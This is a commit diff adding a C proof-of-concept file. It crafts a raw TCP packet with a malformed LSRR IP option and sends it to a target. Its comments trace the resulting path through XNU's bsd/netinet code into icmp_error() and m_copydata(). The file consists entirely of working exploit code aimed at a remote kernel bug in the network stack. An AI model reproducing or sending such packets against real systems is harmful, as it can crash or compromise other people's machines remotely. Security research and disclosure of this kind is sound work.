|
| 1 | +#include "send_packet.h" |
| 2 | + |
| 3 | +// Create and send a TCP packet, which triggers the following callpath: |
| 4 | +// |
| 5 | +// 1. ip_input() bsd/netinet/ip_input.c:1835 |
| 6 | +// 2. call to ip_dooptions() bsd/netinet/ip_input.c:2185 |
| 7 | +// 3. ip_dooptions() bsd/netinet/ip_input.c:3222 |
| 8 | +// 4. goto bad bsd/netinet/ip_input.c:3250 |
| 9 | +// 5. call icmp_error bsd/netinet/ip_input.c:3495 |
| 10 | +// 6. icmp_error() bsd/netinet/ip_icmp.c:203 |
| 11 | +// 7. call m_copydata() bsd/netinet/ip_icmp.c:339 |
| 12 | +// |
| 13 | +int send_packet( |
| 14 | + const int sock, |
| 15 | + const uint32_t src, const uint16_t src_port, // In network byte order |
| 16 | + const uint32_t dst, const uint16_t dst_port, // In network byte order |
| 17 | + const uint32_t seq, const uint32_t ack_seq, |
| 18 | + const uint16_t syn, const uint16_t ack |
| 19 | +) { |
| 20 | + char packet[1024]; |
| 21 | + memset(packet, 0, sizeof(packet)); |
| 22 | + |
| 23 | + struct iphdr* ip_hdr = (struct iphdr*)packet; |
| 24 | + const size_t ip_hdrlen = 60; // Maximum IP header size. |
| 25 | + struct tcphdr* tcp_hdr = (struct tcphdr*)(ip_hdrlen + (char*)ip_hdr); |
| 26 | + const size_t tcp_hdrlen = 60; // Maximum TCP header size. |
| 27 | + const char* payload = tcp_hdrlen + (char*)tcp_hdr; |
| 28 | + const size_t payload_len = &packet[sizeof(packet)] - payload; |
| 29 | + |
| 30 | + // Fill in the IP Header |
| 31 | + memset(ip_hdr, 0, ip_hdrlen); |
| 32 | + ip_hdr->ihl = ip_hdrlen >> 2; |
| 33 | + ip_hdr->version = 4; |
| 34 | + ip_hdr->tos = 0; |
| 35 | + ip_hdr->tot_len = ip_hdrlen + tcp_hdrlen + payload_len; |
| 36 | + ip_hdr->id = htonl (54321); // Id of this packet |
| 37 | + ip_hdr->frag_off = 0; |
| 38 | + ip_hdr->ttl = 255; |
| 39 | + ip_hdr->protocol = IPPROTO_TCP; |
| 40 | + ip_hdr->check = 0; // Checksum will be computed later. |
| 41 | + ip_hdr->saddr = src; |
| 42 | + ip_hdr->daddr = dst; |
| 43 | + |
| 44 | + unsigned char* ip_opt = sizeof(struct iphdr) + (unsigned char*)ip_hdr; |
| 45 | + size_t ip_optlen = ip_hdrlen - sizeof(struct iphdr); |
| 46 | + memset(ip_opt, IPOPT_NOP, ip_optlen); |
| 47 | + // This assignment makes the options invalid, which will |
| 48 | + // trigger the call to icmp_error() at bsd/netinet/ip_input.c:3495 |
| 49 | + ip_opt[ip_optlen-1] = IPOPT_EOL; |
| 50 | + ip_opt[0] = IPOPT_LSRR; |
| 51 | + ip_opt[1] = 3; |
| 52 | + ip_opt[2] = 0; // Invalid: triggers "goto bad" at ip_input.c:3281 |
| 53 | + |
| 54 | + // TCP Header |
| 55 | + memset(tcp_hdr, 0, tcp_hdrlen); |
| 56 | + tcp_hdr->source = src_port; |
| 57 | + tcp_hdr->dest = dst_port; |
| 58 | + tcp_hdr->seq = seq; |
| 59 | + tcp_hdr->ack_seq = ack_seq; |
| 60 | + tcp_hdr->doff = tcp_hdrlen >> 2; |
| 61 | + tcp_hdr->fin = 0; |
| 62 | + tcp_hdr->syn = syn; |
| 63 | + tcp_hdr->rst = 0; |
| 64 | + tcp_hdr->psh = 0; |
| 65 | + tcp_hdr->ack = ack; |
| 66 | + tcp_hdr->urg = 0; |
| 67 | + tcp_hdr->window = htons (5840); // maximum allowed window size |
| 68 | + tcp_hdr->check = 0; // Checksum will be computed later |
| 69 | + tcp_hdr->urg_ptr = 0; |
| 70 | + |
| 71 | + // Compute checksums. |
| 72 | + tcp_checksum( |
| 73 | + ip_hdr, |
| 74 | + ip_hdrlen, |
| 75 | + tcp_hdr, |
| 76 | + tcp_hdrlen, |
| 77 | + payload, |
| 78 | + payload_len |
| 79 | + ); |
| 80 | + |
| 81 | + // Send the packet |
| 82 | + struct sockaddr_in sin; |
| 83 | + memset(&sin, 0, sizeof(sin)); |
| 84 | + sin.sin_family = AF_INET; |
| 85 | + sin.sin_port = dst_port; |
| 86 | + sin.sin_addr.s_addr = dst; |
| 87 | + |
| 88 | + const int r0 = |
| 89 | + sendto( |
| 90 | + sock, packet, ip_hdr->tot_len, 0, |
| 91 | + (struct sockaddr *)&sin, sizeof(sin) |
| 92 | + ); |
| 93 | + if (r0 < 0) { |
| 94 | + const int err = errno; |
| 95 | + printf("send failed %d err=%d %s\n", r0, err, strerror(err)); |
| 96 | + return -1; |
| 97 | + } |
| 98 | + |
| 99 | + return 0; |
| 100 | +} |
0 commit comments